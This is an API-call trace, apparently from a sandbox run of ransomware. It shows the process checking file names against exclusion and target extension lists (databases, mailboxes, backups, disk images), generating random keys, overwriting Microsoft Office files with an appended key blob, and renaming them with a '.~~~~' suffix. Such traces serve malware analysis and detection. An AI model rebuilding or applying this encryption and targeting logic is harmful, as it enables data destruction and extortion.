	[0145.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xc04c6c50, dwHighDateTime=0x1d60e1e)) 
	[0145.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380040
	[0145.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380040 | out: hHeap=0x300000) returned 1
	[0145.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0210
	[0145.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6ff8
	[0145.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0210 | out: hHeap=0x300000) returned 1
	[0145.787] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0145.787] GetLastError () returned 0x0
	[0145.787] GetLastError () returned 0x0
	[0145.787] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0145.787] GetLastError () returned 0x0
	[0145.788] GetLastError () returned 0x0
	[0145.788] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x28b, lpOverlapped=0x0) returned 1
	[0145.789] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffd75, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.790] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x28b, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x28b, lpOverlapped=0x0) returned 1
	[0145.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.790] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.790] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.790] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.790] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.790] CloseHandle (hObject=0x114) returned 1
	[0145.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0210
	[0145.791] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc.~~~~")) returned 1
	[0145.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0210 | out: hHeap=0x300000) returned 1
	[0145.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.793] GetLastError () returned 0x0
	[0145.794] RtlWakeConditionVariable () returned 0x0
	[0145.794] GetCurrentThreadId () returned 0x9cc
	[0145.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".scr") returned 0x0
	[0145.794] lstrlenW (lpString=".cmd") returned 4
	[0145.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".cmd") returned 0x0
	[0145.794] lstrlenW (lpString=".dll") returned 4
	[0145.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".dll") returned 0x0
	[0145.794] lstrlenW (lpString=".bat") returned 4
	[0145.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".bat") returned 0x0
	[0145.794] lstrlenW (lpString=".cpl") returned 4
	[0145.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".cpl") returned 0x0
	[0145.794] lstrlenW (lpString=".sys") returned 4
	[0145.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".sys") returned 0x0
	[0145.794] lstrlenW (lpString=".msc") returned 4
	[0145.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".msc") returned 0x0
	[0145.794] lstrlenW (lpString=".com") returned 4
	[0145.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".com") returned 0x0
	[0145.794] lstrlenW (lpString=".lnk") returned 4
	[0145.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".lnk") returned 0x0
	[0145.794] lstrlenW (lpString=".msp") returned 4
	[0145.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".msp") returned 0x0
	[0145.794] lstrlenW (lpString=".pif") returned 4
	[0145.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".pif") returned 0x0
	[0145.794] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0145.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0145.796] lstrlenW (lpString=".sqb") returned 4
	[0145.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".sqb") returned 0x0
	[0145.796] lstrlenW (lpString=".ost") returned 4
	[0145.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".ost") returned 0x0
	[0145.796] lstrlenW (lpString=".txt") returned 4
	[0145.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".txt") returned 0x0
	[0145.796] lstrlenW (lpString=".mdt") returned 4
	[0145.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".mdt") returned 0x0
	[0145.797] lstrlenW (lpString=".BDB") returned 4
	[0145.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".BDB") returned 0x0
	[0145.797] lstrlenW (lpString=".eql") returned 4
	[0145.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".eql") returned 0x0
	[0145.797] lstrlenW (lpString=".DBF") returned 4
	[0145.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".DBF") returned 0x0
	[0145.797] lstrlenW (lpString=".EQL") returned 4
	[0145.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".EQL") returned 0x0
	[0145.797] lstrlenW (lpString=".FDB") returned 4
	[0145.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".FDB") returned 0x0
	[0145.797] lstrlenW (lpString=".EDB") returned 4
	[0145.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".EDB") returned 0x0
	[0145.797] lstrlenW (lpString=".DACPAC") returned 7
	[0145.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0145.797] lstrlenW (lpString=".VHD") returned 4
	[0145.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".VHD") returned 0x0
	[0145.797] lstrlenW (lpString=".DBV") returned 4
	[0145.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".DBV") returned 0x0
	[0145.797] lstrlenW (lpString=".dacpac") returned 7
	[0145.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0145.797] lstrlenW (lpString=".sdf") returned 4
	[0145.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".sdf") returned 0x0
	[0145.797] lstrlenW (lpString=".accdb") returned 6
	[0145.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".accdb") returned 0x0
	[0145.797] lstrlenW (lpString=".DBX") returned 4
	[0145.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".DBX") returned 0x0
	[0145.797] lstrlenW (lpString=".MDT") returned 4
	[0145.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".MDT") returned 0x0
	[0145.797] lstrlenW (lpString=".SQB") returned 4
	[0145.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".SQB") returned 0x0
	[0145.797] lstrlenW (lpString=".vhd") returned 4
	[0145.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".vhd") returned 0x0
	[0145.798] lstrlenW (lpString=".bac") returned 4
	[0145.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".bac") returned 0x0
	[0145.798] lstrlenW (lpString=".mdf") returned 4
	[0145.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".mdf") returned 0x0
	[0145.798] lstrlenW (lpString=".BAK") returned 4
	[0145.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".BAK") returned 0x0
	[0145.798] lstrlenW (lpString=".BAC") returned 4
	[0145.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".BAC") returned 0x0
	[0145.798] lstrlenW (lpString=".dbs") returned 4
	[0145.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".dbs") returned 0x0
	[0145.798] lstrlenW (lpString=".vhdx") returned 5
	[0145.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0145.798] lstrlenW (lpString=".NDF") returned 4
	[0145.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".NDF") returned 0x0
	[0145.798] lstrlenW (lpString=".dat") returned 4
	[0145.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".dat") returned 0x0
	[0145.798] lstrlenW (lpString=".DBS") returned 4
	[0145.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".DBS") returned 0x0
	[0145.798] lstrlenW (lpString=".CKP") returned 4
	[0145.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".CKP") returned 0x0
	[0145.798] lstrlenW (lpString=".edb") returned 4
	[0145.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".edb") returned 0x0
	[0145.798] lstrlenW (lpString=".PST") returned 4
	[0145.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".PST") returned 0x0
	[0145.798] lstrlenW (lpString=".dbf") returned 4
	[0145.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".dbf") returned 0x0
	[0145.798] lstrlenW (lpString=".SQL") returned 4
	[0145.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".SQL") returned 0x0
	[0145.798] lstrlenW (lpString=".pst") returned 4
	[0145.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".pst") returned 0x0
	[0145.799] lstrlenW (lpString=".dbv") returned 4
	[0145.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".dbv") returned 0x0
	[0145.799] lstrlenW (lpString=".SDF") returned 4
	[0145.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".SDF") returned 0x0
	[0145.799] lstrlenW (lpString=".dtxs") returned 5
	[0145.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0145.799] lstrlenW (lpString=".db3") returned 4
	[0145.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".db3") returned 0x0
	[0145.799] lstrlenW (lpString=".OST") returned 4
	[0145.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".OST") returned 0x0
	[0145.799] lstrlenW (lpString=".dbx") returned 4
	[0145.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".dbx") returned 0x0
	[0145.799] lstrlenW (lpString=".DB3") returned 4
	[0145.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".DB3") returned 0x0
	[0145.799] lstrlenW (lpString=".DAT") returned 4
	[0145.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".DAT") returned 0x0
	[0145.799] lstrlenW (lpString=".VHDX") returned 5
	[0145.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0145.799] lstrlenW (lpString=".ndf") returned 4
	[0145.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".ndf") returned 0x0
	[0145.799] lstrlenW (lpString=".DB") returned 3
	[0145.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".DB") returned 0x0
	[0145.799] lstrlenW (lpString=".sql") returned 4
	[0145.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".sql") returned 0x0
	[0145.799] lstrlenW (lpString=".MYD") returned 4
	[0145.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".MYD") returned 0x0
	[0145.799] lstrlenW (lpString=".DBT") returned 4
	[0145.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".DBT") returned 0x0
	[0145.799] lstrlenW (lpString=".ACCDB") returned 6
	[0145.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0145.799] lstrlenW (lpString=".fdb") returned 4
	[0145.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".fdb") returned 0x0
	[0145.799] lstrlenW (lpString=".bak") returned 4
	[0145.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".bak") returned 0x0
	[0145.800] lstrlenW (lpString=".myd") returned 4
	[0145.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".myd") returned 0x0
	[0145.800] lstrlenW (lpString=".DTXS") returned 5
	[0145.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".DTXS") returned 0x0
	[0145.800] lstrlenW (lpString=".ckp") returned 4
	[0145.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".ckp") returned 0x0
	[0145.800] lstrlenW (lpString=".dbt") returned 4
	[0145.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".dbt") returned 0x0
	[0145.800] lstrlenW (lpString=".db") returned 3
	[0145.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".db") returned 0x0
	[0145.800] lstrlenW (lpString=".TXT") returned 4
	[0145.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".TXT") returned 0x0
	[0145.800] lstrlenW (lpString=".MDF") returned 4
	[0145.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".MDF") returned 0x0
	[0145.800] lstrlenW (lpString=".bdb") returned 4
	[0145.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".bdb") returned 0x0
	[0145.800] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.800] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3956b8) returned 1
	[0145.801] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.801] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.801] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26579154873) returned 1
	[0145.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xc04ecdb0, dwHighDateTime=0x1d60e1e)) 
	[0145.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380008
	[0145.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380008 | out: hHeap=0x300000) returned 1
	[0145.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0210
	[0145.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7420
	[0145.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0210 | out: hHeap=0x300000) returned 1
	[0145.802] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0145.802] GetLastError () returned 0x0
	[0145.803] GetLastError () returned 0x0
	[0145.803] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0145.803] GetLastError () returned 0x0
	[0145.803] GetLastError () returned 0x0
	[0145.803] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0xd3, lpOverlapped=0x0) returned 1
	[0145.804] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff2d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.804] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd3, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xd3, lpOverlapped=0x0) returned 1
	[0145.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.804] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.805] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.805] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.805] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.805] CloseHandle (hObject=0x114) returned 1
	[0145.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0210
	[0145.805] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt.~~~~")) returned 1
	[0145.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0210 | out: hHeap=0x300000) returned 1
	[0145.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.809] GetLastError () returned 0x0
	[0145.809] RtlWakeConditionVariable () returned 0x0
